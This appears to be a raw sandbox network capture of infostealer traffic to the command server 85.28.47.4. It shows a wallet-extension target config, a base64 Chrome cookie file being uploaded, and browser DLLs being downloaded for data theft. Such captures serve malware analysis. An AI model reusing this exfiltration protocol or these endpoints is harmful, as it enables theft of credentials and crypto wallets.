Jul 2, 2024 12:20:56.772356987 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 2, 2024 12:20:56.801707029 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 85.28.47.4 Content-Length: 7571 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 12:20:56.801745892 CEST	7571	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 2, 2024 12:20:57.541821003 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 12:20:57.768922091 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:20:57.945884943 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 2, 2024 12:20:57.945907116 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 2, 2024 12:20:57.945921898 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 2, 2024 12:20:57.945934057 CEST	1236	IN	Data Raw: 0e 70 eb 61 89 04 24 ff 15 80 02 ed 61 52 52 89 c2 85 d2 74 09 c7 04 24 78 67 eb 61 ff d2 c7 04 24 96 14 e0 61 e8 fc e2 0a 00 c9 c3 55 89 e5 5d c3 90 03 14 85 a0 c3 ec 61 55 89 e5 89 14 85 a0 c3 ec 61 83 c0 08 3b 14 85 a8 c3 ec 61 76 07 89 14 85 Data Ascii: pa$aRRt$xga$aU]aUa;ava]tUS$R[]UWVS,u}L$T$$t$\|$S,[^_]UWVS,u}L$T$$t$\|$S,[^_]UV0T$L$$V^]
Jul 2, 2024 12:20:57.945965052 CEST	1236	IN	Data Raw: 08 8d 7e ff 38 da 75 0d 3a 54 08 01 75 0f 88 54 30 ff 41 eb 04 88 5c 30 ff 41 46 eb e1 5b c6 04 38 00 5e 5f 5d c3 55 89 e5 56 53 31 db 0f b6 0c 18 0f b6 34 1a 39 f1 75 06 85 c9 75 14 eb 15 0f b6 89 e0 a2 ec 61 0f b6 b6 e0 a2 ec 61 29 f1 75 03 43 Data Ascii: ~8u:TuT0A\0AF[8^_]UVS149uuaa)uC[^]UEUu1t]]UWVMSU}u1KtBOG1x4aa)t2a8auAB[^_]U1
Jul 2, 2024 12:20:59.235482931 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------GDHIIDAFIDGCFHJJDGDA--
Jul 2, 2024 12:21:00.136789083 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:20:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 12:21:00.184037924 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 [TRUNCATED] Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"------AFBFHDBKJEGHJJJKFIIJ--
Jul 2, 2024 12:21:00.889739990 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 12:21:01.624389887 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a [TRUNCATED] Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file"------KKJKFBKKECFHJKEBKEHI--
Jul 2, 2024 12:21:02.335089922 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 12:21:02.742738008 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:21:02.920285940 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 2, 2024 12:21:03.600029945 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:21:03.781279087 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 2, 2024 12:21:04.187386036 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:21:04.363869905 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 2, 2024 12:21:04.702912092 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:21:04.879443884 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 2, 2024 12:21:06.332411051 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:21:06.510955095 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 2, 2024 12:21:06.828897953 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 12:21:07.006056070 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 2, 2024 12:21:07.614228964 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 12:21:08.463409901 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
